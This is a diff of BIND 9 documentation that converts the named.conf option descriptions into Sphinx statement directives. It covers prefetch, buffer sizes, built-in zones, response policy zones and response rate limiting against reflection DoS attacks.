+.. namedconf:statement:: max-rsa-exponent-size
+   :tags: dnssec, query
+   :short: Sets the maximum RSA exponent size (in bits) when validating.
 
-``max-rsa-exponent-size``
    This sets the maximum RSA exponent size, in bits, that is accepted when
    validating. Valid values are 35 to 4096 bits. The default, zero, is
    also accepted and is equivalent to 4096.
 
-``prefetch``
+.. namedconf:statement:: prefetch
+   :tags: query
+   :short: Specifies the "trigger" time-to-live (TTL) value at which prefetch of the current query takes place.
+
    When a query is received for cached data which is to expire shortly,
-   ``named`` can refresh the data from the authoritative server
+   :iscman:`named` can refresh the data from the authoritative server
    immediately, ensuring that the cache always has an answer available.
 
-   ``prefetch`` specifies the "trigger" TTL value at which prefetch
+   :any:`prefetch` specifies the "trigger" TTL value at which prefetch
    of the current query takes place; when a cache record with a
-   lower TTL value is encountered during query processing, it is
+   lower or equal TTL value is encountered during query processing, it is
    refreshed. Valid trigger TTL values are 1 to 10 seconds. Values
    larger than 10 seconds are silently reduced to 10. Setting a
    trigger TTL to zero causes prefetch to be disabled. The default
@@ -3572,35 +4412,54 @@ Tuning
    An optional second argument specifies the "eligibility" TTL: the
    smallest *original* TTL value that is accepted for a record to
    be eligible for prefetching. The eligibility TTL must be at least six
-   seconds longer than the trigger TTL; if not, ``named``
+   seconds longer than the trigger TTL; if not, :iscman:`named`
    silently adjusts it upward. The default eligibility TTL is ``9``.
 
-``v6-bias``
+.. namedconf:statement:: v6-bias
+   :tags: server, query
+   :short: Indicates the number of milliseconds of preference to give to IPv6 name servers.
+
    When determining the next name server to try, this indicates by how many
    milliseconds to prefer IPv6 name servers. The default is ``50``
    milliseconds.
 
-``tcp-recv-buffer``;  ``udp-recv-buffer``
+.. namedconf:statement:: tcp-receive-buffer
+   :tags: server
+   :short: Sets the operating system's receive buffer size for TCP sockets.
+
+.. namedconf:statement:: udp-receive-buffer
+   :tags: server
+   :short: Sets the operating system's receive buffer size for UDP sockets.
+
    These options control the operating system's receive buffer sizes
-   (``SO_RCVBUF``) for TCP and UDP sockets respectively.  Buffering at
+   (``SO_RCVBUF``) for TCP and UDP sockets, respectively. Buffering at
    the operating system level can prevent packet drops during brief load
-   spikes, but if the value is set too high, it could clog a running server
-   with outstanding queries that have already timed out. The default is
-   ``0``, which means the operating system's default value should be used.
-   The minimum configurable value is ``4096``; any nonzero value lower than
-   that will be silently raised. The maximum value is determined by the
-   kernel, and values exceeding the maximum will be silently reduced.
-
-``tcp-send-buffer``; ``udp-send-buffer``
+   spikes, but if the buffer size is set too high, a running server
+   could get clogged with outstanding queries that have already timed
+   out. The default is ``0``, which means the operating system's default
+   value should be used. The minimum configurable value is ``4096``; any
+   nonzero value lower than that is silently raised. The maximum value
+   is determined by the kernel, and values exceeding the maximum are
+   silently reduced.
+
+.. namedconf:statement:: tcp-send-buffer
+   :tags: server
+   :short: Sets the operating system's send buffer size for TCP sockets.
+
+.. namedconf:statement:: udp-send-buffer
+   :tags: server
+   :short: Sets the operating system's send buffer size for UDP sockets.
+
    These options control the operating system's send buffer sizes
-   (``SO_SNDBUF``) for TCP and UDP sockets respectively.  Buffering at the
-   operating system level can prevent packet drops during brief load
-   spikes, but if the value is set too high, it could clog a running server
-   with outstanding queries that have already timed out. The default is
-   ``0``, which means the operating system's default value should be used.
-   The minimum configurable value is ``4096``; any nonzero value lower than
-   that will be silently raised. The maximum value is determined by the
-   kernel, and values exceeding the maximum will be silently reduced.
+   (``SO_SNDBUF``) for TCP and UDP sockets, respectively. Buffering at
+   the operating system level can prevent packet drops during brief load
+   spikes, but if the buffer size is set too high, a running server
+   could get clogged with outstanding queries that have already timed
+   out. The default is ``0``, which means the operating system's default
+   value should be used. The minimum configurable value is ``4096``; any
+   nonzero value lower than that is silently raised. The maximum value
+   is determined by the kernel, and values exceeding the maximum are
+   silently reduced.
 
 .. _builtin:
 
@@ -3610,27 +4469,33 @@ Built-in Server Information Zones
 The server provides some helpful diagnostic information through a number
 of built-in zones under the pseudo-top-level-domain ``bind`` in the
 ``CHAOS`` class. These zones are part of a built-in view
-(see :ref:`view_statement_grammar`) of class ``CHAOS``, which is
+(see :any:`view`) of class ``CHAOS``, which is
 separate from the default view of class ``IN``. Most global
-configuration options (``allow-query``, etc.) apply to this view,
-but some are locally overridden: ``notify``, ``recursion``, and
-``allow-new-zones`` are always set to ``no``, and ``rate-limit`` is set
+configuration options (:any:`allow-query`, etc.) apply to this view,
+but some are locally overridden: :namedconf:ref:`notify`, :any:`recursion`, and
+:any:`allow-new-zones` are always set to ``no``, and :any:`rate-limit` is set
 to allow three responses per second.
 
 To disable these zones, use the options below or hide the
 built-in ``CHAOS`` view by defining an explicit view of class ``CHAOS``
 that matches all clients.
 
-``version``
+.. namedconf:statement:: version
+   :tags: server
+   :short: Specifies the version number of the server to return in response to a ``version.bind`` query.
+
    This is the version the server should report via a query of the name
    ``version.bind`` with type ``TXT`` and class ``CHAOS``. The default is
    the real version number of this server. Specifying ``version none``
    disables processing of the queries.
 
-   Setting ``version`` to any value (including ``none``) also disables
+   Setting :any:`version` to any value (including ``none``) also disables
    queries for ``authors.bind TXT CH``.
 
-``hostname``
+.. namedconf:statement:: hostname
+   :tags: server
+   :short: Specifies the hostname of the server to return in response to a ``hostname.bind`` query.
+
    This is the hostname the server should report via a query of the name
    ``hostname.bind`` with type ``TXT`` and class ``CHAOS``. This defaults
    to the hostname of the machine hosting the name server, as found by
@@ -3639,22 +4504,25 @@ that matches all clients.
    the queries. Specifying ``hostname none;`` disables processing of
    the queries.
 
-``server-id``
+.. namedconf:statement:: server-id
+   :tags: server
+   :short: Specifies the ID of the server to return in response to a ``ID.SERVER`` query.
+
    This is the ID the server should report when receiving a Name Server
    Identifier (NSID) query, or a query of the name ``ID.SERVER`` with
    type ``TXT`` and class ``CHAOS``. The primary purpose of such queries is
    to identify which of a group of anycast servers is actually answering
    the queries. Specifying ``server-id none;`` disables processing of
-   the queries. Specifying ``server-id hostname;`` causes ``named``
+   the queries. Specifying ``server-id hostname;`` causes :iscman:`named`
    to use the hostname as found by the ``gethostname()`` function. The
-   default ``server-id`` is ``none``.
+   default :any:`server-id` is ``none``.
 
 .. _empty:
 
 Built-in Empty Zones
 ^^^^^^^^^^^^^^^^^^^^
 
-The ``named`` server has some built-in empty zones, for SOA and NS records
+The :iscman:`named` server has some built-in empty zones, for SOA and NS records
 only. These are for zones that should normally be answered locally and for
 which queries should not be sent to the Internet's root servers. The
 official servers that cover these namespaces return NXDOMAIN responses
@@ -3794,18 +4662,30 @@ away from the infrastructure servers.
    all built-in empty zones. This enables them to return referrals
    to deeper in the tree.
 
-``empty-server``
+.. namedconf:statement:: empty-server
+   :tags: server, zone
+   :short: Specifies the server name in the returned SOA record for empty zones.
+
    This specifies the server name that appears in the returned SOA record for
    empty zones. If none is specified, the zone's name is used.
 
-``empty-contact``
+.. namedconf:statement:: empty-contact
+   :tags: server, zone
+   :short: Specifies the contact name in the returned SOA record for empty zones.
+
    This specifies the contact name that appears in the returned SOA record for
    empty zones. If none is specified, "." is used.
 
-``empty-zones-enable``
+.. namedconf:statement:: empty-zones-enable
+   :tags: server, zone
+   :short: Enables or disables all empty zones.
+
    This enables or disables all empty zones. By default, they are enabled.
 
-``disable-empty-zone``
+.. namedconf:statement:: disable-empty-zone
+   :tags: server, zone
+   :short: Disables individual empty zones.
+
    This disables individual empty zones. By default, none are disabled. This
    option can be specified multiple times.
 
@@ -3814,31 +4694,41 @@ away from the infrastructure servers.
 Content Filtering
 ^^^^^^^^^^^^^^^^^
 
-BIND 9 provides the ability to filter out responses from external
-DNS servers containing certain types of data in the answer section.
-Specifically, it can reject address (A or AAAA) records if the
-corresponding IPv4 or IPv6 addresses match the given
-``address_match_list`` of the ``deny-answer-addresses`` option. It can
-also reject CNAME or DNAME records if the "alias" name (i.e., the CNAME
-alias or the substituted query name due to DNAME) matches the given
-``namelist`` of the ``deny-answer-aliases`` option, where "match" means
-the alias name is a subdomain of one of the ``name_list`` elements. If
-the optional ``namelist`` is specified with ``except-from``, records
-whose query name matches the list are accepted regardless of the
-filter setting. Likewise, if the alias name is a subdomain of the
-corresponding zone, the ``deny-answer-aliases`` filter does not apply;
-for example, even if "example.com" is specified for
-``deny-answer-aliases``,
-
-::
+.. namedconf:statement:: deny-answer-addresses
+   :tags: query
+   :short: Rejects A or AAAA records if the corresponding IPv4 or IPv6 addresses match a given :any:`address_match_list`.
+
+   BIND 9 provides the ability to filter out responses from external
+   DNS servers containing certain types of data in the answer section.
+   Specifically, it can reject address (A or AAAA) records if the
+   corresponding IPv4 or IPv6 addresses match the given
+   :term:`address_match_list` of the :any:`deny-answer-addresses` option.
+
+   In the :term:`address_match_list` of the :any:`deny-answer-addresses` option,
+   only :term:`ip_address` and :term:`netprefix` are meaningful; any :term:`server_key` is
+   silently ignored.
+
+.. namedconf:statement:: deny-answer-aliases
+   :tags: query
+   :short: Rejects CNAME or DNAME records if the "alias" name matches a given list of :any:`domain_name` elements.
+
+   It can
+   also reject CNAME or DNAME records if the "alias" name (i.e., the CNAME
+   alias or the substituted query name due to DNAME) matches the given
+   list of :term:`domain_name` elements of the :any:`deny-answer-aliases` option,
+   where "match" means the alias name is a subdomain of one of the listed domain names. If
+   the optional list is specified in the ``except-from`` argument, records
+   whose query name matches the list are accepted regardless of the
+   filter setting. Likewise, if the alias name is a subdomain of the
+   corresponding zone, the :any:`deny-answer-aliases` filter does not apply;
+   for example, even if "example.com" is specified for
+   :any:`deny-answer-aliases`,
 
-   www.example.com. CNAME xxx.example.com.
+   ::
 
-returned by an "example.com" server is accepted.
+      www.example.com. CNAME xxx.example.com.
 
-In the ``address_match_list`` of the ``deny-answer-addresses`` option,
-only ``ip_addr`` and ``ip_prefix`` are meaningful; any ``key_id`` is
-silently ignored.
+   returned by an "example.com" server is accepted.
 
 If a response message is rejected due to the filtering, the entire
 message is discarded without being cached, and a SERVFAIL error is
@@ -3916,19 +4806,22 @@ analogous to email anti-spam DNS rejection lists. Responses can be changed to
 deny the existence of domains (NXDOMAIN), deny the existence of IP
 addresses for domains (NODATA), or contain other IP addresses or data.
 
-Response policy zones are named in the ``response-policy`` option for
-the view, or among the global options if there is no ``response-policy``
-option for the view. Response policy zones are ordinary DNS zones
-containing RRsets that can be queried normally if allowed. It is usually
-best to restrict those queries with something like
-``allow-query { localhost; };``. Note that zones using
-``masterfile-format map`` cannot be used as policy zones.
+.. namedconf:statement:: response-policy
+   :tags: server, query, zone, security
+   :short: Specifies response policy zones for the view or among global options.
 
-A ``response-policy`` option can support multiple policy zones. To
-maximize performance, a radix tree is used to quickly identify response
-policy zones containing triggers that match the current query. This
-imposes an upper limit of 64 on the number of policy zones in a single
-``response-policy`` option; more than that is a configuration error.
+   Response policy zones are named in the :any:`response-policy` option for
+   the view, or among the global options if there is no :any:`response-policy`
+   option for the view. Response policy zones are ordinary DNS zones
+   containing RRsets that can be queried normally if allowed. It is usually
+   best to restrict those queries with something like
+   ``allow-query { localhost; };``.
+
+   A :any:`response-policy` option can support multiple policy zones. To
+   maximize performance, a radix tree is used to quickly identify response
+   policy zones containing triggers that match the current query. This
+   imposes an upper limit of 64 on the number of policy zones in a single
+   :any:`response-policy` option; more than that is a configuration error.
 
 Rules encoded in response policy zones are processed after those defined in
 :ref:`access_control`. All queries from clients which are not permitted access
@@ -3979,7 +4872,7 @@ Five policy triggers can be encoded in RPZ records.
    ``nsdname-enable`` phrase turns NSDNAME triggers off or on for a single
    policy zone or for all zones.
 
-   If authoritative name servers for the query name are not yet known, ``named``
+   If authoritative name servers for the query name are not yet known, :iscman:`named`
    recursively looks up the authoritative servers for the query name before
    applying an RPZ-NSDNAME rule, which can cause a processing delay. To speed up
    processing at the cost of precision, the ``nsdname-wait-recurse`` option can
@@ -4000,7 +4893,7 @@ Five policy triggers can be encoded in RPZ records.
    exclude top-level domains. The ``nsip-enable`` phrase turns NSIP
    triggers off or on for a single policy zone or for all zones.
 
-   If a name server's IP address is not yet known, ``named``
+   If a name server's IP address is not yet known, :iscman:`named`
    recursively looks up the IP address before applying an RPZ-NSIP rule,
    which can cause a processing delay. To speed up processing at the cost
    of precision, the ``nsip-wait-recurse`` option can be used; when set
@@ -4079,7 +4972,7 @@ with owner names in a zone.
 
 All of the actions specified in all of the individual records in a
 policy zone can be overridden with a ``policy`` clause in the
-``response-policy`` option. An organization using a policy zone provided
+:any:`response-policy` option. An organization using a policy zone provided
 by another organization might use this mechanism to redirect domains to
 its own walled garden.
 
@@ -4126,7 +5019,7 @@ is listed in a policy zone, to operators of servers for listed names. To
 prevent that information leak, by default any recursion needed for a
 request is done before any policy triggers are considered. Because
 listed domains often have slow authoritative servers, this behavior can
-cost significant time. The ``qname-wait-recurse yes`` option overrides
+cost significant time. The ``qname-wait-recurse no`` option overrides
 the default and enables that behavior when recursion cannot change a
 non-error response. The option does not affect QNAME or client-IP
 triggers in policy zones listed after other zones containing IP, NSIP,
@@ -4138,26 +5031,43 @@ found during resolution. Using this option can cause error responses
 such as SERVFAIL to appear to be rewritten, since no recursion is being
 done to discover problems at the authoritative server.
 
-The ``dnsrps-enable yes`` option turns on the DNS Response Policy Service
-(DNSRPS) interface, if it has been compiled in ``named`` using
-``configure --enable-dnsrps``.
-
-The ``dnsrps-options`` block provides additional RPZ configuration
-settings, which are passed through to the DNSRPS provider library.
-Multiple DNSRPS settings in an ``dnsrps-options`` string should be
-separated with semi-colons (;). The DNSRPS provider, librpz, is passed a
-configuration string consisting of the ``dnsrps-options`` text,
-concatenated with settings derived from the ``response-policy``
-statement.
-
-Note: the ``dnsrps-options`` text should only include configuration
-settings that are specific to the DNSRPS provider. For example, the
-DNSRPS provider from Farsight Security takes options such as
-``dnsrpzd-conf``, ``dnsrpzd-sock``, and ``dnzrpzd-args`` (for details of
-these options, see the ``librpz`` documentation). Other RPZ
-configuration settings could be included in ``dnsrps-options`` as well,
-but if ``named`` were switched back to traditional RPZ by setting
-``dnsrps-enable`` to "no", those options would be ignored.
+.. namedconf:statement:: dnsrps-enable
+   :tags: server, security
+   :short: Turns on the DNS Response Policy Service (DNSRPS) interface.
+
+   The ``dnsrps-enable yes`` option turns on the DNS Response Policy Service
+   (DNSRPS) interface, if it has been compiled in :iscman:`named` using
+   ``configure --enable-dnsrps``.
+
+.. namedconf:statement:: dnsrps-library
+   :tags: server, security
+   :short: Turns on the DNS Response Policy Service (DNSRPS) interface.
+
+   This option specifies the path to the DNSRPS provider library. Typically
+   this library is detected when building with ``configure --enable-dnsrps``
+   and does not need to be specified in ``named.conf``; the option exists
+   to override the default library for testing purposes.
+
+.. namedconf:statement:: dnsrps-options
+   :tags: server, security
+   :short: Provides additional RPZ configuration settings, which are passed to the DNS Response Policy Service (DNSRPS) provider library.
+
+   The block provides additional RPZ configuration
+   settings, which are passed through to the DNSRPS provider library.
+   Multiple DNSRPS settings in an :any:`dnsrps-options` string should be
+   separated with semi-colons (;). The DNSRPS provider library is passed a
+   configuration string consisting of the :any:`dnsrps-options` text,
+   concatenated with settings derived from the :any:`response-policy`
+   statement.
+
+   Note: the :any:`dnsrps-options` text should only include configuration
+   settings that are specific to the DNSRPS provider. For example, the
+   DNSRPS provider from Farsight Security takes options such as
+   ``dnsrpzd-conf``, ``dnsrpzd-sock``, and ``dnzrpzd-args`` (for details of
+   these options, see the ``librpz`` documentation). Other RPZ
+   configuration settings could be included in :any:`dnsrps-options` as well,
+   but if :iscman:`named` were switched back to traditional RPZ by setting
+   :any:`dnsrps-enable` to "no", those options would be ignored.
 
 The TTL of a record modified by RPZ policies is set from the TTL of the
 relevant record in the policy zone. It is then limited to a maximum value.
@@ -4218,6 +5128,35 @@ with this zone file:
    example.com                 CNAME   rpz-tcp-only.
    *.example.com               CNAME   rpz-tcp-only.
 
+Response policy zones can be configured to set an Extended DNS Error (EDE) code
+on the responses which have been modified by the response policy:
+
+::
+
+       response-policy { zone "badlist" ede filtered; };
+
+The following settings are supported for the ``ede`` option:
+
+``none``
+   No Extended DNS Error code is set (default).
+
+``forged``
+   Extended DNS Error code 4 - Forged Answer.
+
+``blocked``
+   Extended DNS Error code 15 - Blocked.
+
+``censored``
+   Extended DNS Error code 16 - Censored.
+
+``filtered``
+   Extended DNS Error code 17 - Filtered.
+
+``prohibited``
+   Extended DNS Error code 18 - Prohibited.
+
+See :rfc:`8914` for more information about the Extended DNS Error codes.
+
 RPZ can affect server performance. Each configured response policy zone
 requires the server to perform one to four additional database lookups
 before a query can be answered. For example, a DNS server with four
@@ -4254,157 +5193,247 @@ specify the value. It also accepts ISO 8601 duration formats.
 Response Rate Limiting
 ^^^^^^^^^^^^^^^^^^^^^^
 
-Excessive, almost-identical UDP *responses* can be controlled by
-configuring a ``rate-limit`` clause in an ``options`` or ``view``
-statement. This mechanism keeps authoritative BIND 9 from being used to
-amplify reflection denial-of-service (DoS) attacks. Short, truncated
-(TC=1) responses can be sent to provide rate-limited responses to
-legitimate clients within a range of forged, attacked IP addresses.
-Legitimate clients react to dropped or truncated responses by retrying
-with UDP or with TCP, respectively.
-
-This mechanism is intended for authoritative DNS servers. It can be used
-on recursive servers, but can slow applications such as SMTP servers
-(mail receivers) and HTTP clients (web browsers) that repeatedly request
-the same domains. When possible, closing "open" recursive servers is
-better.
-
-Response rate limiting uses a "credit" or "token bucket" scheme. Each
-combination of identical response and client has a conceptual "account"
-that earns a specified number of credits every second. A prospective
-response debits its account by one. Responses are dropped or truncated
-while the account is negative. Responses are tracked within a rolling
-window of time which defaults to 15 seconds, but which can be configured with
-the ``window`` option to any value from 1 to 3600 seconds (1 hour). The
-account cannot become more positive than the per-second limit or more
-negative than ``window`` times the per-second limit. When the specified
-number of credits for a class of responses is set to 0, those responses
-are not rate-limited.
-
-The notions of "identical response" and "DNS client" for rate limiting
-are not simplistic. All responses to an address block are counted as if
-to a single client. The prefix lengths of address blocks are specified
-with ``ipv4-prefix-length`` (default 24) and ``ipv6-prefix-length``
-(default 56).
-
-All non-empty responses for a valid domain name (qname) and record type
-(qtype) are identical and have a limit specified with
-``responses-per-second`` (default 0 or no limit). All empty (NODATA)
-responses for a valid domain, regardless of query type, are identical.
-Responses in the NODATA class are limited by ``nodata-per-second``
-(default ``responses-per-second``). Requests for any and all undefined
-subdomains of a given valid domain result in NXDOMAIN errors, and are
-identical regardless of query type. They are limited by
-``nxdomains-per-second`` (default ``responses-per-second``). This
-controls some attacks using random names, but can be relaxed or turned
-off (set to 0) on servers that expect many legitimate NXDOMAIN
-responses, such as from anti-spam rejection lists. Referrals or delegations
-to the server of a given domain are identical and are limited by
-``referrals-per-second`` (default ``responses-per-second``).
-
-Responses generated from local wildcards are counted and limited as if
-they were for the parent domain name. This controls flooding using
-random.wild.example.com.
-
-All requests that result in DNS errors other than NXDOMAIN, such as
-SERVFAIL and FORMERR, are identical regardless of requested name (qname)
-or record type (qtype). This controls attacks using invalid requests or
-distant, broken authoritative servers. By default the limit on errors is
-the same as the ``responses-per-second`` value, but it can be set
-separately with ``errors-per-second``.
-
-Many attacks using DNS involve UDP requests with forged source
-addresses. Rate limiting prevents the use of BIND 9 to flood a network
-with responses to requests with forged source addresses, but could let a
-third party block responses to legitimate requests. There is a mechanism
-that can answer some legitimate requests from a client whose address is
-being forged in a flood. Setting ``slip`` to 2 (its default) causes
-every other UDP request to be answered with a small truncated (TC=1)
-response. The small size and reduced frequency, and resulting lack of
-amplification, of "slipped" responses make them unattractive for
-reflection DoS attacks. ``slip`` must be between 0 and 10. A value of 0
-does not "slip"; no truncated responses are sent due to rate limiting. Rather,
-all responses are dropped. A value of 1 causes every response to slip;
-values between 2 and 10 cause every nth response to slip. Some error
-responses, including REFUSED and SERVFAIL, cannot be replaced with
-truncated responses and are instead leaked at the ``slip`` rate.
-
-(Note: dropped responses from an authoritative server may reduce the
-difficulty of a third party successfully forging a response to a
-recursive resolver. The best security against forged responses is for
-authoritative operators to sign their zones using DNSSEC and for
-resolver operators to validate the responses. When this is not an
-option, operators who are more concerned with response integrity than
-with flood mitigation may consider setting ``slip`` to 1, causing all
-rate-limited responses to be truncated rather than dropped. This reduces
-the effectiveness of rate-limiting against reflection attacks.)
-
-When the approximate query-per-second rate exceeds the ``qps-scale``
-value, the ``responses-per-second``, ``errors-per-second``,
-``nxdomains-per-second``, and ``all-per-second`` values are reduced by
-the ratio of the current rate to the ``qps-scale`` value. This feature
-can tighten defenses during attacks. For example, with
-``qps-scale 250; responses-per-second 20;`` and a total query rate of
-1000 queries/second for all queries from all DNS clients including via
-TCP, then the effective responses/second limit changes to (250/1000)*20,
-or 5. Responses sent via TCP are not limited but are counted to compute
-the query-per-second rate.
-
-Communities of DNS clients can be given their own parameters or no
-rate limiting by putting ``rate-limit`` statements in ``view`` statements
-instead of in the global ``option`` statement. A ``rate-limit`` statement
-in a view replaces, rather than supplements, a ``rate-limit``
-statement among the main options. DNS clients within a view can be
-exempted from rate limits with the ``exempt-clients`` clause.
-
-UDP responses of all kinds can be limited with the ``all-per-second``
-phrase. This rate limiting is unlike the rate limiting provided by
-``responses-per-second``, ``errors-per-second``, and
-``nxdomains-per-second`` on a DNS server, which are often invisible to
-the victim of a DNS reflection attack. Unless the forged requests of the
-attack are the same as the legitimate requests of the victim, the
-victim's requests are not affected. Responses affected by an
-``all-per-second`` limit are always dropped; the ``slip`` value has no
-effect. An ``all-per-second`` limit should be at least 4 times as large
-as the other limits, because single DNS clients often send bursts of
-legitimate requests. For example, the receipt of a single mail message
-can prompt requests from an SMTP server for NS, PTR, A, and AAAA records
-as the incoming SMTP/TCP/IP connection is considered. The SMTP server
-can need additional NS, A, AAAA, MX, TXT, and SPF records as it
-considers the SMTP ``Mail From`` command. Web browsers often repeatedly
-resolve the same names that are duplicated in HTML <IMG> tags in a page.
-``all-per-second`` is similar to the rate limiting offered by firewalls
-but is often inferior. Attacks that justify ignoring the contents of DNS
-responses are likely to be attacks on the DNS server itself. They
-usually should be discarded before the DNS server spends resources making
-TCP connections or parsing DNS requests, but that rate limiting must be
-done before the DNS server sees the requests.
-
-The maximum size of the table used to track requests and rate-limit
-responses is set with ``max-table-size``. Each entry in the table is
-between 40 and 80 bytes. The table needs approximately as many entries
-as the number of requests received per second. The default is 20,000. To
-reduce the cold start of growing the table, ``min-table-size`` (default 500)
-can set the minimum table size. Enable ``rate-limit`` category
-logging to monitor expansions of the table and inform choices for the
-initial and maximum table size.
-
-Use ``log-only yes`` to test rate-limiting parameters without actually
-dropping any requests.
-
-Responses dropped by rate limits are included in the ``RateDropped`` and
-``QryDropped`` statistics. Responses that are truncated by rate limits are
-included in ``RateSlipped`` and ``RespTruncated``.
+.. namedconf:statement:: rate-limit
+   :tags: query
+   :short: Controls excessive UDP responses, to prevent BIND 9 from being used to amplify reflection denial-of-service (DoS) attacks.
+
+   Excessive, almost-identical UDP *responses* can be controlled by
+   configuring a :any:`rate-limit` clause in an :namedconf:ref:`options` or :any:`view`
+   statement. This mechanism keeps authoritative BIND 9 from being used to
+   amplify reflection denial-of-service (DoS) attacks. Short BADCOOKIE errors or
+   truncated (TC=1) responses can be sent to provide rate-limited responses to
+   legitimate clients within a range of forged, attacked IP addresses.
+   Legitimate clients react to dropped responses by retrying,
+   to BADCOOKIE errors by including a server cookie when retrying,
+   and to truncated responses by switching to TCP.
+
+   This mechanism is intended for authoritative DNS servers. It can be used
+   on recursive servers, but can slow applications such as SMTP servers
+   (mail receivers) and HTTP clients (web browsers) that repeatedly request
+   the same domains. When possible, closing "open" recursive servers is
+   better.
+
+   Response rate limiting uses a "credit" or "token bucket" scheme. Each
+   combination of identical response and client has a conceptual "account"
+   that earns a specified number of credits every second. A prospective
+   response debits its account by one. Responses are dropped or truncated
+   while the account is negative.
+
+   .. namedconf:statement:: window
+      :tags: query
+      :short: Specifies the length of time during which responses are tracked.
+
+      Responses are tracked within a rolling
+      window of time which defaults to 15 seconds, but which can be configured with
+      the :any:`window` option to any value from 1 to 3600 seconds (1 hour). The
+      account cannot become more positive than the per-second limit or more
+      negative than :any:`window` times the per-second limit. When the specified
+      number of credits for a class of responses is set to 0, those responses
+      are not rate-limited.
+
+   .. namedconf:statement:: ipv4-prefix-length
+      :tags: server
+      :short: Specifies the prefix lengths of IPv4 address blocks.
+
+   .. namedconf:statement:: ipv6-prefix-length
+      :tags: server
+      :short: Specifies the prefix lengths of IPv6 address blocks.
+
+      The notions of "identical response" and "DNS client" for rate limiting
+      are not simplistic. All responses to an address block are counted as if
+      to a single client. The prefix lengths of address blocks are specified
+      with :any:`ipv4-prefix-length` (default 24) and :any:`ipv6-prefix-length`
+      (default 56).
+
+   .. namedconf:statement:: responses-per-second
+      :tags: query
+      :short: Limits the number of non-empty responses for a valid domain name and record type.
+
+      All non-empty responses for a valid domain name (qname) and record type
+      (qtype) are identical and have a limit specified with
+      :any:`responses-per-second` (default 0 or no limit). All valid wildcard
+      domain names are interpreted as the zone's origin name concatenated to the
+      "*" name.
+
+   .. namedconf:statement:: nodata-per-second
+      :tags: query
+      :short: Limits the number of empty (NODATA) responses for a valid domain name.
+
+      All empty (NODATA)
+      responses for a valid domain, regardless of query type, are identical.
+      Responses in the NODATA class are limited by :any:`nodata-per-second`
+      (default :any:`responses-per-second`).
+
+   .. namedconf:statement:: nxdomains-per-second
+      :tags: query
+      :short: Limits the number of undefined subdomains for a valid domain name.
+
+      Requests for any and all undefined
+      subdomains of a given valid domain result in NXDOMAIN errors, and are
+      identical regardless of query type. They are limited by
+      :any:`nxdomains-per-second` (default :any:`responses-per-second`). This
+      controls some attacks using random names, but can be relaxed or turned
+      off (set to 0) on servers that expect many legitimate NXDOMAIN
+      responses, such as from anti-spam rejection lists.
+
+   .. namedconf:statement:: referrals-per-second
+      :tags: query
+      :short: Limits the number of referrals or delegations to a server for a given domain.
+
+      Referrals or delegations
+      to the server of a given domain are identical and are limited by
+      :any:`referrals-per-second` (default :any:`responses-per-second`).
+
+   Responses generated from local wildcards are counted and limited as if
+   they were for the parent domain name. This controls flooding using
+   random.wild.example.com.
+
+   All requests that result in DNS errors other than NXDOMAIN, such as
+   SERVFAIL and FORMERR, are identical regardless of requested name (qname)
+   or record type (qtype). This controls attacks using invalid requests or
+   distant, broken authoritative servers.
+
+
+   .. namedconf:statement:: errors-per-second
+      :tags: server
+      :short: Limits the number of errors for a valid domain name and record type.
+
+      By default the limit on errors is
+      the same as the :any:`responses-per-second` value, but it can be set
+      separately with :any:`errors-per-second`.
+
+   .. namedconf:statement:: slip
+      :tags: query
+      :short: Sets the number of "slipped" responses to minimize the use of forged source addresses for an attack.
+
+      Many attacks using DNS involve UDP requests with forged source
+      addresses. Rate limiting prevents the use of BIND 9 to flood a network
+      with responses to requests with forged source addresses, but could let a
+      third party block responses to legitimate requests. There is a mechanism
+      that can answer some legitimate requests from a client whose address is
+      being forged in a flood. Setting :any:`slip` to 2 (its default) causes
+      every other UDP request without a valid server cookie to be answered with
+      a small response. The small size and reduced frequency, and resulting lack of
+      amplification, of "slipped" responses make them unattractive for
+      reflection DoS attacks. :any:`slip` must be between 0 and 10. A value of 0
+      does not "slip"; no small responses are sent due to rate limiting. Rather,
+      all responses are dropped. A value of 1 causes every response to slip;
+      values between 2 and 10 cause every nth response to slip.
+
+      If the request included a client cookie, then a "slipped" response is
+      a BADCOOKIE error with a server cookie, which allows a legitimate client
+      to include the server cookie to be exempted from the rate limiting
+      when it retries the request.
+      If the request did not include a cookie, then a "slipped" response is
+      a truncated (TC=1) response, which prompts a legitimate client to
+      switch to TCP and thus be exempted from the rate limiting. Some error
+      responses, including REFUSED and SERVFAIL, cannot be replaced with
+      truncated responses and are instead leaked at the :any:`slip` rate.
+
+      (Note: dropped responses from an authoritative server may reduce the
+      difficulty of a third party successfully forging a response to a
+      recursive resolver. The best security against forged responses is for
+      authoritative operators to sign their zones using DNSSEC and for
+      resolver operators to validate the responses. When this is not an
+      option, operators who are more concerned with response integrity than
+      with flood mitigation may consider setting :any:`slip` to 1, causing all
+      rate-limited responses to be truncated rather than dropped. This reduces
+      the effectiveness of rate-limiting against reflection attacks.)
+
+   .. namedconf:statement:: qps-scale
+      :tags: query
+      :short: Tightens defenses during DNS attacks by scaling back the ratio of the current query-per-second rate.
+
+      When the approximate query-per-second rate exceeds the :any:`qps-scale`
+      value, the :any:`responses-per-second`, :any:`errors-per-second`,
+      :any:`nxdomains-per-second`, and :any:`all-per-second` values are reduced by
+      the ratio of the current rate to the :any:`qps-scale` value. This feature
+      can tighten defenses during attacks. For example, with
+      ``qps-scale 250; responses-per-second 20;`` and a total query rate of
+      1000 queries/second for all queries from all DNS clients including via
+      TCP, then the effective responses/second limit changes to (250/1000)*20,
+      or 5. Responses to requests that included a valid server cookie,
+      and responses sent via TCP, are not limited but are counted to compute
+      the query-per-second rate.
+
+   .. namedconf:statement:: exempt-clients
+      :tags: query
+      :short: Exempts specific clients or client groups from rate limiting.
+
+      Communities of DNS clients can be given their own parameters or no
+      rate limiting by putting :any:`rate-limit` statements in :any:`view` statements
+      instead of in the global ``option`` statement. A :any:`rate-limit` statement
+      in a view replaces, rather than supplements, a :any:`rate-limit`
+      statement among the main options.
+
+      DNS clients within a view can be
+      exempted from rate limits with the :any:`exempt-clients` clause.
+
+   .. namedconf:statement:: all-per-second
+      :tags: query
+      :short: Limits UDP responses of all kinds.
+
+      UDP responses of all kinds can be limited with the :any:`all-per-second`
+      phrase. This rate limiting is unlike the rate limiting provided by
+      :any:`responses-per-second`, :any:`errors-per-second`, and
+      :any:`nxdomains-per-second` on a DNS server, which are often invisible to
+      the victim of a DNS reflection attack. Unless the forged requests of the
+      attack are the same as the legitimate requests of the victim, the
+      victim's requests are not affected. Responses affected by an
+      :any:`all-per-second` limit are always dropped; the :any:`slip` value has no
+      effect. An :any:`all-per-second` limit should be at least 4 times as large
